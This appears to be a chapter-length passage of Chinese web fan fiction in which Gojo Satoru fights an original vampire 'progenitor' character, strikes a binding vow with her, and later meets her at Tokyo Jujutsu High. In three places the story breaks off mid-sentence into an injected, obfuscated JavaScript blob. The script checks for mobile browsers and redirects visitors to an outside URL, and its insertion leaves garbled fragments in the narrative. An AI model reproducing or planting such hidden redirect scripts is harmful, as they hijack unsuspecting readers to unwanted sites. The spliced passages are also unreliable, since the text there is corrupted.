五条悟直起身子,一本正经地说:“我觉得还是我更好看。” “是吗。”绯月畏的回应短促平静。话音落下的瞬间,五条悟倏然低下头,看见一只苍白纤长、骨节分明的手,正轻轻按在他的胸口心脏位置。没有风声,没有前兆,仿佛那只手本就该在那里! “嗯?”掌心传来的阻力并非触及血肉的实感,而是一种无限趋近却永难抵达的、概念上的“间隔”。绯月畏学着他刚才的样子,微微侧头,眼中红芒流转,‘没碰到?’ “呀!” 五条悟嘴角扯开一个没什么温度的笑容,六眼紧紧锁定对方,“好危险呢!要不是无下限一直开着,现在心脏已经被这位超——厉害的小姐掏出来了吧?!” 嘲讽意味十足,但眼底的兴趣却更浓了。能如此无声无息、近乎无视距离将攻击送达他体表,这绝非普通速度或力量能做到。 绯月畏收回手,【无下限】,这是能力?原来这个世界,人类也可以拥有这种东西吗?是和那些怪物在同一空间生存导致的进化方向? 无下限。 绯月畏收回手,心中记下这个词汇。并非单纯的护身能量,更像是……某种作用于空间间隔的恒定法则?这个世界的人类,因为与那些丑陋的怪物共存,所以进化出了如此奇特的能力体系吗? 双方都有意试探,只是相比起来,绯月畏胜在一个“好奇心”寡淡的先机。收回手的同一刻,她腰身微拧,一记凌厉迅捷的鞭腿已然抽向五条悟的腰侧!动作衔接流畅得仿佛早已计算过千百遍,带着撕裂空气的尖啸。 五条悟不闪不避。 “嘭!” 闷响声中,他被踢得向后滑退数米,鞋底与地面摩擦出刺耳声响。站定后,他只是随意地抬手拍了拍外套上并不存在的灰尘,苍蓝的六眼始终未从绯月畏身上移开。很强的□□力量,远超人类极限,配合那诡异的空间贴近能力,确实棘手。但依旧没有咒力波动……天与咒缚?不,不对,之前对话中透露出的绯月家、LEVEL B、纯血种、血脉传承……有点让他过于在意。 听起来是很有历史厚度的东西,但是在此之前——他从未听说过! 他心中的疑惑与兴趣交织攀升。那些过于特别的词汇,如同散落的拼图,指向一个他从未接触过的、可能拥有漫长历史的隐秘体系。 但是绯月畏点了下头,一掌、一踹,她大概知道这个“无下限”是个什么东西了。 “空间距离的操控吗……或者说,将‘无限’的概念具体化,恒定于自身周围。” “嗯?”五条悟有些惊奇,对方这种胜券在握的语气,让他有些期待对方的实力了啊! “看来被看穿了一点啊!那接下来,可要动点真格的了哦!” 于是下一刻,红蓝两道光轰然冲出撞在一起! 绯月畏抬手间,掌心迸发出高度凝聚的赤黑色能量束,并非咒力,而是血族始祖本源力量与高度操控下的空间能量混合体,带着湮灭与割裂的特性。五条悟指尖“苍”的凝聚与发射几乎同步,压缩到极致的吸引力与绯月畏的能量束正面冲击! “轰隆——!” 能量湮灭的爆鸣与冲击波将烂尾楼内本就摇摇欲坠的墙体彻底震塌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“……”五条悟一把扯掉眼罩,一双苍蓝的瞳孔在昏暗环境中熠熠生辉,目之所及,对方身上是赤红色的诡异咒枷在流淌,散发着强大的,不祥的气息。他怒极反笑,“虽然咒术师大多和疯子只有一线之隔,但唯独不想被你这么说啊。毕竟,阁下可是连‘人’都不是呢。” 绯月畏不再多言,双掌于胸前合十,随后缓缓拉开。掌心之间,一点纯粹的黑暗诞生,随即迅速旋转、扩大,形成一个不断吞噬光线、令周围空间都微微向内扭曲的黑色漩涡球体。狂乱的气流吹起她雪白的长发,映着那对猩红的眼眸,宛如深渊走出的魔神。 “你看着,”她漠然道,将手中那蕴含恐怖空间撕扯之力的黑洞径直朝五条悟掷去,“也不怎么像人了。” 绯月畏下了如此断言,随后像抛球一样将手中的漩涡球朝着那张写满嘲讽的脸丢了过去。 五条悟眼神一凝,指尖连点。 “【苍】!” “【苍】!” “【苍】!” 连续三发高度压缩的“苍”先后撞上那拳头大的黑洞,才终于将其引爆。剧烈的空间扰动让整层楼都发出不堪重负的呻吟。而就在爆炸光芒未散之际,一点锐利的赤芒已破开烟尘,直刺五条悟面门! 五条悟凭借六眼的超强洞察力极限侧头避开,并顺势手刀下劈反击。然而—— “嗤啦!” 他胸前的黑色外套应声裂开一道整齐的切口,露出了里面白色的衬衫。若非他退得快,那覆盖着猩红暗光、仿佛连空间本身都能裁切的指甲,划开的就不仅是衣服,还有他的胸膛。 五条悟低头看了一眼裂口,又抬头看向绯月畏那只缓缓收回、指尖红光尚未完全消散的手,脸上的轻慢终于被彻底的惊讶和沸腾的战意取代。 六眼看得清清楚楚!在那一瞬间,对方的手并非单纯覆盖能量,而是将一种极端凝练的空间“切割”属性依附于指尖,形成了一层微观尺度的“空间刃”!正是这层“空间刃”,直接干涉并短暂穿透了“无限”的概念,破开了无下限的绝对防御! 这是目前为止,第一个能正面破开他无下限的人! ……那个拿天逆鉾的不算,那是靠的咒具! 4. 最强特级和始祖小姐 “苍。” 没有任何预兆,一股恐怖的吸力瞬间在绯月畏身侧爆发,仿佛空间本身向内坍缩,要将她碾碎吞噬!这不是单纯的能量冲击,而是涉及空间层面的粗暴操控! 绯月畏的身影在原处骤然模糊,并非高速移动留下的残影,而是如同水中倒影被石子击散般,凭空消失在原地。下一刻,她出现在五条悟侧后方三米外,一根手指正轻轻点出,指尖前方的空气泛起肉眼难以察觉的细微波纹。 “咦?”五条悟眉头一挑,几乎在绯月畏消失的同一瞬,他已侧身,原本他所处位置后方的一截水泥柱表面,无声无息地出现了一个极其微小、却深不见底的孔洞,边缘光滑如镜。‘瞬间移动?不……是更精细的操作。还有这个……’ 他瞥了一眼那孔洞,“空间切割?真有意思!” 他嘴上说着有意思,动作却更快。身形一闪,直接出现在绯月畏面前,一拳轰出!这一拳看似简单,却裹挟着澎湃的咒力,足以轰穿特级咒灵的防御。 绯月畏没有硬接,她似乎提前预判了攻击轨迹,以毫厘之差侧身,苍白的手指并拢如刀,指尖萦绕着极淡的、扭曲空间的波动,划向五条悟的手腕——并非格挡,而是试图直接“削断”那部分空间联系,让他的手臂与拳头“分离”。 五条悟“啧”了一声,拳头在半路变向,咒力爆发,形成无形的斥力场。 “【赫】。” “嗡——!” 狂暴的斥力以他为中心向外迸发,烂尾楼内本就脆弱的墙体纷纷龟裂,尘土飞扬。绯月畏如同狂风中的白蝶,被狠狠推飞出去,但她人在空中,却异常冷静地单手凌空一划。 五条悟正要追击,忽然感到身体四周传来诡异的凝滞感,仿佛陷入了无形的胶水。不是咒力束缚,而是他周身微观尺度的空间结构被暂时“加固”或“扭曲”,极大地限制了行动速度。虽然以他的力量,瞬间就能强行冲破,但这短暂的迟滞已经足够。 绯月畏轻巧地落在摇摇欲坠的墙角,足尖凌空在石块上,和使用无下限时的五条悟异曲同工,白发甚至未曾过分凌乱。她微微蹙眉,并非因为对手的强大,而是清晰地感受到体内传来一阵隐痛——旧伤被这剧烈的力量对抗牵动了。这个世界的压制,加上这具身体尚未痊愈的暗伤……麻烦。 “空间操作玩得这么溜,”五条悟轻松挣开那点束缚,拍了拍肩上不存在的灰尘,六眼熠熠生辉,试图解析对方力量的本质,“但你的‘力量’本身,好像不太稳定?像信号不好的老式电视。”即使对方对空间的掌控力精准克制他的无下限,但他依旧敏锐地捕捉到了绯月畏那一瞬间气息的细微紊乱和略显苍白的脸色。 “与你无关。”绯月畏的声音依旧冰冷,但她心中凛然。对方不仅力量强大,观察力也细致得可怕。她需要更谨慎地控制输出,避免牵动旧伤彻底爆发。 “怎么会无关呢?”五条悟笑眯眯地,再次逼近,这次他的攻击更加多变,拳、脚、偶尔夹杂着小型的【苍】与【赫】,形成密不透风的攻势网。他似乎在测试,测试她的反应极限,测试她力量的性质,测试她的……弱点。 “一个来历不明、能力奇特、还在受伤状态的超级危险分子,在我负责的片区活动,作为最强,当然要关心一下啦。” 至于他负责的“片区”总面积达37.8万平方公里……那不是什么重要的消息! 绯月畏在有限的闪转腾挪中,运用着精妙的、达到微米级别的空间操控进行防御和反击。她能轻易切开飞来的水泥碎块,能偏转咒力冲击的方向,甚至能制造短暂的空间错位让五条悟的攻击落空。但她始终没有动用Artemis,也没有尝试更大范围的空间能力——消耗太大,且可能暴露更多。 战斗节奏极快,看似五条悟占据绝对主动,攻势如潮,但绯月畏总能以最小代价化解,偶尔诡异的反击(比如试图局部湮灭五条悟的衣角或隔离他小范围的感知)也让五条悟不得不分神应付。烂尾楼在他们交手的余波中不断崩塌,尘埃漫天。 “你,”绯月畏在一次交错间,冰冷开口,猩红的眼眸锁定了五条悟,“是此地‘主人’之一?所谓的‘咒术师’?” 她从对方的攻击方式和能量性质中,已经大致归纳出了“咒力”的特征。 从情感中诞生的力量,越是极致和纯粹,力量越发强大,目前看来,负面的情绪更容易提取一些。这些蕴含在“咒力”中的负面情绪也就是令她感到反胃的来源。过于极致的悲喜,消耗的是生命力。越是实力强大的人,越需要更加浓烈的情绪反馈。 实话说,这种力量的提取方式,让绯月畏感到恶心,和那群口口声声传承血脉的贵族们有得一比。从小见大,她大概能想出来,那些游荡在大街小巷里的怪物是个什么东西了。这个世界问题好像比她原本的世界还要糟糕…… “Bingo!答对了,不过没有奖励!”五条悟一记侧踢被空间偏转开,他顺势旋身,指尖凝聚起更危险的光芒,“特级咒术师五条悟,目前公认的最强。那么,你呢?优雅的、会空间戏法的、疑似吸血鬼的外来大小姐?” “始祖,绯月畏。”她报上了名号,并非出于礼貌,而是某种古老存在面对值得一战的对手时,近乎本能的对等宣告。同时,“公认最强”这个信息也被她记下。 “始祖?”五条悟动作微微一顿,眼中兴趣更浓,“听起来比‘纯血种’还要古老值钱的样子。难怪架子这么大,规矩也多——不过清理门户都亲自动手,是手下没人了,还是信不过别人?” 他话语带刺,却是在试探她的势力状况和行事风格。 绯月畏避开了直接回答,反而问道:“‘咒灵’、‘诅咒师’,又是什么?与‘咒术师’对立的存在?” 她从之前的零星信息中拼凑出了这些词汇,她需要更加官方的解释用来认识这个世界的力量体系。 “哦?情报交换?”五条悟挑眉,手上攻击不停,嘴里却如闲聊般解释道,“咒灵,人类负面情绪产生的怪物;诅咒师,用咒力干坏事的术师。我们咒术师,算是官方清理工吧。至于管着清理工的‘总监部’嘛……”他拖长了调子,露出一丝不加掩饰的讥诮,“大概类似你们那边喜欢指手画脚、思想腐朽的老年议会?” “元老院。”绯月畏冷冷吐出三个字,算是认可了这个类比。她没有和他们接触过,毕竟她沉睡的时候外界还是君主制,再次醒来后更是立马带着绯月一族躲进了深山老林里。但是她对这类组织依旧毫无好感。同时,她也大致明白了这个世界的势力格局。看来,眼前的“最强”,与那个“总监部”也并非一心。 “哈哈,罗马帝国吗?看来真是哪边都有讨人厌的老橘子。”五条悟大笑,忽然攻势一敛,向后跳开一段距离,苍蓝的六眼认真地审视着绯月畏。“你的伤,不是刚才打的。很麻烦的旧伤,力量被压制得很厉害……啧,完全状态的话,说不定真能和我打个痛快呢。” 他的语气里带着一丝遗憾,但更多的是判断后的结论。他试探出了对方力量本质的高阶与特殊,也察觉到了那伤势的沉重和规则层面对她的排斥和压制。 一个全盛时期的、能操控空间的“始祖”……值得认真对待。 绯月畏沉默。对方眼光毒辣,几乎看穿了她目前最大的窘境。她没有承认,也没有否认,只是周身的空间波动略微平复,表明暂时停战的意愿。继续打下去,一旦旧伤被彻底引发,在这个陌生世界会非常被动。 “我对你们内部的清理工作没兴趣,”五条悟摊摊手,语气变得有些随意,但眼神依旧锐利,“甚至你对那些心思不正、自己送上门找死的诅咒师做点什么,我也可以当作没看见。”他话锋一转,“但是,像之前那样,对普通人和有潜力的术师幼苗下手,不行。这是我的底线。” 他提出了条件,看似宽容,实则划定了红线。 绯月畏看着他。这个叫五条悟的男人,强大,敏锐,行事看似跳脱却自有原则,且对所谓的权威(总监部)缺乏敬意。与这样的人为敌,在自身状态不佳的情况下,不明智。 “我只需必要的‘补给’。”她冷冷道,算是解释,也表明自己并非滥杀,“品质足够高的个体,远胜无意义的数量。”这间接承认了她和绯月兰狩猎目标的差异。 “高级诅咒师或者特级咒灵的血,够‘高品质’吗?”五条悟歪头,给出一个充满恶趣味且实用的提议,“那些家伙,杀了也算为民除害哦。” 绯月畏猩红的眼眸微动。这倒是个……既符合她原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485852|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则,又能减少麻烦的选择。至于她对人类和那些恶心的所谓咒灵下不去嘴也不感兴趣这件事……在适当的地方保持沉默是个优良的品德。于是她微微颔首:“可。” “很好!”五条悟笑容加深,“那么,为了我们和平共处,也为了不让那些老橘子找你麻烦,毕竟他们很烦的,以始祖和最强的名义,我们做个约定怎么样?” 绯月畏眼神一凝。“约定?” “很简单,”五条悟伸出食指,“只要你不对品行良好、未主动挑衅你的咒术师和普通人下手,我就不向任——何人,尤其是总监部的烂橘子们透露关于你的任何信息。如何?很公平吧?”他笑得像只算计得逞的猫。 绯月畏快速权衡。虽然她不认为这种口头上的约定对他们两个人有任何的束缚作用,但是保不齐这个世界有她所不知道的言灵方向的契约,毕竟她目前对这个世界的所有信息都来自于面前这位最强,所以她在这一方面还是很小心地斟酌了一番。确认过这句话没有任何可以留成话口的陷阱,内容也可以接受,避免与本土最强势力和管理机构直接冲突,有利于她隐匿恢复。至于“品行良好”的界定……她自有判断方法。而对方隐瞒信息,对她有利。 “可以。”她简练地同意。 “那么,束缚成立。”五条悟笑容放大。话音落下之际,一股无形的规则之力悄然落下,束缚达成。在束缚成立的瞬间,绯月畏感到心口微微一悸,旧伤处传来一丝轻微的、被规则牵引的痛楚。她眉头几不可察地一皱,抬眼看向五条悟。 ‘束缚?!’ 一个被对方隐瞒下来的词汇。还真是言灵方向的契约!还以为是个肆意妄为的大少爷,结果这个世界的人,原来这么多心眼吗? 五条悟却仿佛毫无所觉,指了指外面:“好了,交易完成。趁那些嗅觉迟钝的老橘子的走狗还没到,你该走了哦,始祖小姐。这里我会处理。” 绯月畏深深看了他一眼,没有多言。束缚已定,再多留无益。她转身,身影融入墙壁的阴影之中,如同水滴入海,消失得无影无踪,只留下空气中一丝极淡的冷香。 确认她离开后,五条悟脸上的笑容收敛了些,摸了摸下巴:“旧伤那么重,还能有这样的实力和反应……全盛时期,怕是真的要费点功夫呢。不过……”他看了一眼束缚成立的方向,眼中闪过一丝狡黠,‘在定束缚时稍微‘借助’了一下她伤势与这个世界的不兼容性,让束缚对她的‘感知’更紧密一点……应该没被发现吧?算了,反正对她也无害,只是方便我以后‘定位’一下而已。’ 他抬起头,看向狼藉的烂尾楼,伸出手指,对准了建筑核心。 “那么,最强拆迁队开工啦——” “虚式【茈】。” 更加磅礴的咒力凝聚,然后—— 一道炽烈的红光无声膨胀,瞬间吞噬了整个烂尾楼的主体结构。没有惊天动地的爆炸,只有一种极致的“抹除”力量。红光过后,原地只剩下一个巨大的、光滑的半球形凹陷,所有战斗痕迹、血迹、灰尘,包括绯月兰存在过的最后证明,全都消失无踪,连地基都被削去一层。 几分钟后,几辆黑色的轿车在月光照耀下疾驰而来,停在远处。几个穿着保守、面色严肃的咒术总监部下属人员下车,看到眼前的景象,皆是一愣。 五条悟已经戴回眼罩,懒洋洋地靠在唯一完好的一棵树下,对着他们挥了挥手。 “哟,来晚了哦。‘吸血鬼’?没看到啊。这里只有一只不懂事、乱吃东西的特级咒胎,已经被我祓除了。现场太乱,我就顺手‘清理’了一下。报告?我可没接到任务,什么报告?那不是给警视厅的吗?你们自己去警视厅问啊,问我干嘛……” 他打了个哈欠,无视了那些人欲言又止、惊疑不定的表情,双手插兜,哼着歌,身影几个闪烁,便消失在林间。 只剩下总监部的人员,对着那个光滑得诡异的大坑,面面相觑,最终只能无奈地开始按照“最强”给出的、漏洞百出却又无法质疑的说法,准备报告。 夜空下,月光重新洒落在被彻底改变的地貌上,仿佛一切从未发生。只有暗处,一双猩红的眼眸遥遥望了一眼五条悟离开的方向,随即彻底隐没于城市的霓虹灯光之外。 5. 始祖在现代 2015冬,寒意深入骨髓。 距离击杀绯月兰已经过去了大半年的时间,从烂尾楼离开以后,绯月畏依旧没有第一时间进入城市,她对那个叫五条悟的咒术师始终是防备的。 回到最初落地的深山里,绯月畏在山中餐风饮露地度过了消化与适应的三个月。当体内绯月兰的能量彻底化为己用,内伤稳定后,绯月畏意识到,蛰伏期该结束了。要想恢复全盛需要更多、更优质的“养分”,而大山给不了她这些。 初雪降临那天,她走出了森林边缘,在一片被遗忘的荒凉中,找到了一座符合她“隐蔽”需求的落脚点——一个彻底死寂的村庄。 村子坐落在山坳里,房屋大多为陈旧的和式木屋,歪斜破败,早已被藤蔓和荒草吞噬。除了电线杆上断开的电线,村子里没有任何电子科技的迹象,也没有任何现代通讯设施遗留的痕迹,仿佛时间在这里停滞在了数十年前。这里的一切都透着一种被世界遗弃的腐朽感。 她在村中地势较高、相对完整的一户大宅住下。宅子同样老旧,但梁柱坚固,遮风挡雨没问题。在落满灰尘的储物间里,她找到了村民遗留的生活痕迹:手工织造的麻布、颜色素净的棉布,以及最让她满意的——几匹质地虽不顶尖、但触手柔滑的桑蚕丝。靛蓝、素白、鸦青,颜色均是植物染就,沉淀着时光的气息。 “粗糙的手艺。”她评估着这些材料的质地。对于习惯了血族奢华生活的始祖而言,这堪称简陋,但比起一副腐味的柜子里堆叠的那些散发着化学气味的“合成纤维”,这些天然织物更能让她接受。 更重要的是,她在此地找到了了解这个世界的“碎片”:几本被虫蛀的日历和农业书籍,字迹稚嫩的习字帖,甚至还有一台老旧的、需要上发条的木壳收音机,可惜已无法使用。没有任何电视机、电脑或手机——这个村庄,在她降临此世前,似乎就已与现代科技绝缘。 她花费了几天时间翻遍整个宅子,用找到的剪刀、针线和那些布料,为自己裁制了两套简便的衣物。动作娴熟精准,测量、裁剪、缝合一气呵成,如同演练过千万遍。漫长的独居岁月,早已将一切生存所需的技能刻入她的本能。穿衣蔽体,是功能性的需求,与审美或虚荣无关。 即便是血族,也需要学习一点人类制衣蔽体的羞耻心。 然而,当她试图通过有限的文字资料拼凑外界图景时,一种巨大的割裂感浮现出来。 普通人的世界,欣欣向荣,科技日新。 而她亲身遭遇的、充满咒力与扭曲怪物的“里侧”,在一切公开信息中,销声匿迹。 咒术师、咒术界、咒灵、甚至总监部……没有!什么都没有!这个世界像是被分割成了两个部分——一个普通人、一个术师的世界。 在村口附近,一场去秋的大雨冲垮了一小片坡地,露出了地下深埋的尸骨——不是一具两具,而是凌乱交叠的数十具白骨,埋葬得相当仓促。从骨骼上残留的、极其微弱的扭曲侵蚀痕迹和创伤形态看,绝非自然死亡或普通野兽所致。然而,在仅能找到的、大概是村庄荒废前后时日的泛黄地方小报上,只有寥寥数语提及“山区突发地质灾害,疑似造成人员伤亡,具体原因待查”。 一种冰冷的荒谬感攫住了她。这个世界疑似被一道无形的墙彻底隔开两个不同的运行模式,一方对另一方的存在视若无睹,甚至主动掩盖。这种运作模式,让她想起元老院最僵化时期那些自欺欺人的“避世法则”,只是此世执行得更加彻底、系统,仿佛一种深入骨髓的“默契”。 “荒谬。” 不管是表世界的官方机构,还是严严实实把自己藏起来的咒术世界,绯月畏都觉得荒谬急了。甚至如果不是亲手和那个叫五条悟的男人打过一场,她甚至可能会怀疑她是不是做了个梦? 表世界有五条家,涉及的商业范围是很具有历史底蕴的高级服装、茶道、高级瓷器,以及部分的古法和食和房地产、最近二十来年的时间新增加了西式甜点和电子产品一块儿,但是对于五条家对外的负责人……没有一个年龄在50岁以下的。 从风化的枯黄纸张上看到那几张皱巴巴的老脸,绯月畏只觉得五条悟那句烂橘子是真贴切!甚至她手上的橘子皮都比那些脸来得光滑! 捻起桌上最后一颗从山中野橘树摘来的果子,将最后一块橘子塞进嘴里,绯月畏沉着脸合上了报纸。 该出去了。 该幸亏血族没有进食的需求吗,不然两个月的时间,在这荒村里她估计要扒草皮来吃了。唯一的问题就是……始祖本人不事生产,她需要换洗的衣物! 她没有那个凭空纺织的本事! 由奢入俭难。 始祖大人在现代社会遇到的第一个问题——搞钱。 不,等等,或许这个问题可以先押后? 绯月畏侧头,看向树梢。 就在她准备动身离开荒村的前一刻,一种极其隐晦的、被“观察”的感觉,如同细微的冰针刺入她的感知。 不是来自活物,也非咒灵。 枝头挂着冰棱,但是没有任何生物存在。她明确感到了一股视线,一股令人不舒服的视线。视线逡巡一周后落在电线杆上,那个盒子,是叫监控器对吧? 村庄通往外界唯一土路与县级公路的交汇口。这里立着一根灰色的电线杆,杆身上装着一个方正的、黑色的金属盒子——道路监控摄像头。2015年,这类设备开始在这个岛国的城市主干道和重要路口普及,但在真正的深山荒村仍属罕见。这个摄像头,大概是此处曾作为偏远村落与外界连接点的最后证明。 此刻,那漆黑的镜头,正静静地对着村庄路口的方向——正对着她。 绯月畏眉心微微蹙起,“嘭!”的一声,监控炸开,线路冒出了黑烟。等到另一边的监控艰难将视线转过来时,空荡荡的大路上,白雪覆了道路和两侧的树木,路上白雪皑皑,一尘不染,别说人影了,连个脚印都没有。 …… 在又一场大雪落下时,位于大阪市中心的一栋写字楼里,黄昏时分的风和雪裹挟着寒冷吹向大地,路上车辆寥寥,行人更是低着头挡着脸一个比一个走得快。 白发的女子从写字楼正门走出,雪白的衬衫与西裤在灰暗的天色中显得异常醒目,却又奇异地没有引起任何路人的注意——她的存在感被某种力量刻意“稀释”了,如同融入雪景的一片雪花。 二十分钟后,一辆黑色轿车停在写字楼前。司机——肌肉贲张的壮汉——困惑地张望:平日严密的安保不见踪影,大厅空无一人。后座传来不耐烦的冷哼,一位穿着昂贵和服的老者在司机的撑伞搀扶下走出车门。 他们踏入大厅的瞬间,脸色骤变。 两个小时以后,一通电话打去了位于京都的一所学校,随后又由京都校打去了东京校。一则消息则悄无声息地在一个普通人进不去的网站上开始发酵—— 总监部设在大阪的分部,被不知名人士一窝端了! 袭击发生得无声无息。当支援人员赶到时,现场一片死寂:一级术师全部身亡,二级及以下昏迷不醒,电子设备尽毁,文件散落。 现场没有打斗痕迹。 最初的混乱中,总监部甚至无法立刻确认昏迷者的状态。直到数小时后,部分昏迷者陆续醒来,异常才被发现: 有人记忆停留在一年前的某次任务,有人将同事认作仇敌,还有人出现了短暂的失语和认知混乱——记忆被搅乱、切除,手法粗暴却有效。 咒术界内部网站暗流涌动: 【速报】大阪分部遇袭,一级全灭,二级以下昏迷,记忆疑似受损!原因不明! 东京,某高级公寓楼。 五条悟划开手机,扫过这条情报,苍蓝的眼眸在眼罩下微微眯起。他指尖无意识地摩挲着手机边缘,屏幕上另一个聊天窗口,停留在数天前他发出的一条信息: To 杰:大阪的事,你干的? 没有回复,已读不回。 “不是杰的风格……”他低声自语。没有咒力残秽,手法隐秘,针对总监部……嫌疑名单上的人不多。他忽然想起大半年前那个寒夜,烂尾楼中被他利用对方对咒术界的陌生算计定下束缚的苍白身影。 是她吗? 他无法确定。束缚无法为他提供对方的精确坐标或行为证据。而且,在他的认知里,她展现的是强悍的□□、空间操控与吸血特性,并未包括篡改记忆的能力。 “五十对五十吗……”他扯了扯嘴角,收起手机,“有意思。” 总监部丢了个大脸,但是某个最强在百忙之余特意抽空去看了个热……去关心了一番怒火烧心的高层老爷爷们,并遗憾地表示“没有任何咒力残秽,真的不是他们自己内讧吗?” 回应他的是数道几欲喷火的老橘子瞪视。不疼不痒,甚至觉得他们破防的样子好好笑,于是某最强和破防橘子们的合影在十分钟后荣登咒术论坛的联合置顶—— 笑话持续了又两个月,大阪重新成立分部的第二天,总监部再次遭遇了两个月前的惨案。这一次,对方手法明显“熟练”了。一级术师与混入的诅咒师同样被割喉,而昏迷的二级术师们在苏醒后,表现出了整齐划一的“缺失”——他们彻底失去了2015年全年的记忆,干净利落,没有留下任何混乱的后遗症。 总监部震怒,又恐惧。他们不得不将特级术师五条悟的常驻任务区域临时调整至大阪,试图以此威慑。此后半个月,风平浪静。 直到2016年新年夜,横滨。 总监部横滨分部,三名一级术师——五条分家、禅院旁系、加茂远亲——以及七名二级术师,被清洁人员发现集体昏迷于会议室。唯一的不同是:禅院家的那位,死了。 死因:锐器封喉,一招致命,现场依旧无咒力残骸。 事情一出,听说某特级揣着消息特意跑去京都禅院宅,当着禅院家主禅院直毘人的面笑了半个小时,然后被禅院家主亲自“请”出了禅院宅。 —— 2016年春二月,料峭春寒的时节,东京都立咒术高专已经宣告开学,今年刚升二年级的秤金次和星绮罗罗结束校外任务,沿着覆雪的石径返校。在接近学校结界边缘、一处视野相对开阔的弯道,远远看见掩映在绿树中的红色鸟居时,星绮罗罗抬手打了个大大的哈欠,眼角浸出了一抹珠光,然后动作突然怔住了。 星绮罗罗忽然“咦”了一声。 “金次,下面鸟居那里……是不是有人?” 秤金次顺着望去。百米开外的红色鸟居下,一抹醒目的雪白身影静立,几乎与背景融为一体,唯有那头白色长马尾在寒风中微微飘动。 “没有咒力波动……但感觉不对劲。”秤金次指尖滑出一张扑克牌。 星绮罗罗眯了下眼,“我刚刚好像看到那个白色的动了!” 秤金次将扑克牌挑在指尖,说:“去看看就知道了。” 两个人谨慎走进以后,入目便是一个白发白衣白裤白鞋的高挑身影。很长的白发用白色绸带扎在头顶,束着高高的马尾,露出了耳朵和一小截脖子,跟感觉不到温度一样地简单的衬衣,双手插在裤兜里,姿势莫名地眼熟。 那人转过来以后,脸上带着一个墨镜,更让人觉得眼熟了。但是好在男女之间身材差异和那一头长发还是比较明显的,两个人这才没有干出喊错人的蠢事。 “那个请问……你是迷路了吗?” 星绮罗罗睁着一双亮晶晶的小鹿眼看着面前这个比她高出一个头的女性,隔着挡住半张脸的墨镜都能看出对方容貌的优越,越是关注细节,越是觉得她跟某个不良教师真的好像啊!但是一开口就不像了。 “我来找人。” 四个字,言简意赅,脸上没有一点多余的情绪露出来,星绮罗罗和秤金次对视一眼,都一个相同的感觉——好冷啊。这人一开口简直比这寒冬腊月的风雪还让人觉得冰冷。和五条老师是完全不同的人呢。 秤金次一只手搭在星绮罗罗的肩上,上前挡住她半个身形,指尖转着牌,道:“我们是山上学校的学生,你要找的是学校里的人吗?也许我们可以帮忙?” “东京都立咒术高等专门学校,”女子看着面前两个少年身上黑色的制服,“是这里吧?” 秤今次和星绮罗罗面色突然有些不太自然,他们在外很少会提到自己学校的全称,总觉得莫名地羞耻。秤金次点点头,眉头皱了起来。他看不出来这个人身上的任何能确认对方身份和来历的痕迹,对方是从大雪中诞生的雪女么,身上这么干净?! “我在找一个白发蓝眼的咒术师,他说他叫五条悟。” 星绮罗罗瞬间睁大了眼睛,手指已经下意识地摸向口袋里的手机。秤金次也眉头紧锁,更加警惕。 五分钟后,咒高内部某个学生私下活跃的聊天群,被一条消息引爆: 【急报!!正门外鸟居出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485853|202003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神秘白发女性!!】 【在找五条老师!!】 【附图.jpg】(一张因为距离和激动略糊的照片) 【气质好特别!像雪做的!】 【怎么找到这里的??非术师?】 【@所有人速来围观!五条老师的情……呃,访客?】 【开盘了开盘了!赌五条老师多久出现!】 谣言像山间的雾一样迅速弥漫开来。这消息几乎同时传到了刚开车回到学校附近的夜蛾正道,以及正在日本某处、刚刚从一栋民居内结束任务走出来,摸出手机准备查看任务邮件的五条悟那里。 五条悟扫了一眼群里那张高糊但特征明显的照片,以及“找人”的关键词,嘴角无声地勾了一下。“哦?主动上门了?”他身影瞬间自原地消失。 “嗤——”的一声,一辆黑色轿车急停在山脚鸟居旁。 夜蛾正道从车上下来时,就看到了群里议论得沸沸扬扬的那位“惊为天人”的美人小姐,确实是一身雪白像个雪女一样地伫立在鸟居之下。虽然不想先入为主,但是对方仰头看着天空落下的雪花走神的样子,实在是很对得起群里那一堆人的雪女的脑补。 “这位小姐。” 女子这才转头看过来,两个墨镜对上的时候,夜蛾正道有些噎住,随即清了清嗓子,“我是东京咒高的校长夜蛾正道,您来我们学校是有什么事吗?” 女子墨镜后的眼睛打量了一下夜蛾正道身上的黑色西装,“五条悟在这里吗?” 对方说得很直白,夜蛾正道也省了不少问询,“悟是这里的老师,”话音落下,肉眼可见女子皱着眉头扬了扬下巴表达出了对这句话的怀疑。 夜蛾正道:“……请问您找他有什么事?您没有悟的联系方式吗?如果方便的话,我可以替你转达。” “私事,没有,不方便。” 夜蛾感到一阵熟悉的沟通障碍。他正斟酌措辞,忽然—— 那只苍白的手毫无征兆地探出,五指成爪,直取他的咽喉!速度快到夜蛾瞳孔骤缩,身体却跟不上反应! 就在指尖即将触碰到他皮肤的刹那,一只手轻轻搭在了夜蛾正道的肩膀上。与此同时,一股无形却绝对存在的“间隔”感瞬间包裹住夜蛾全身。 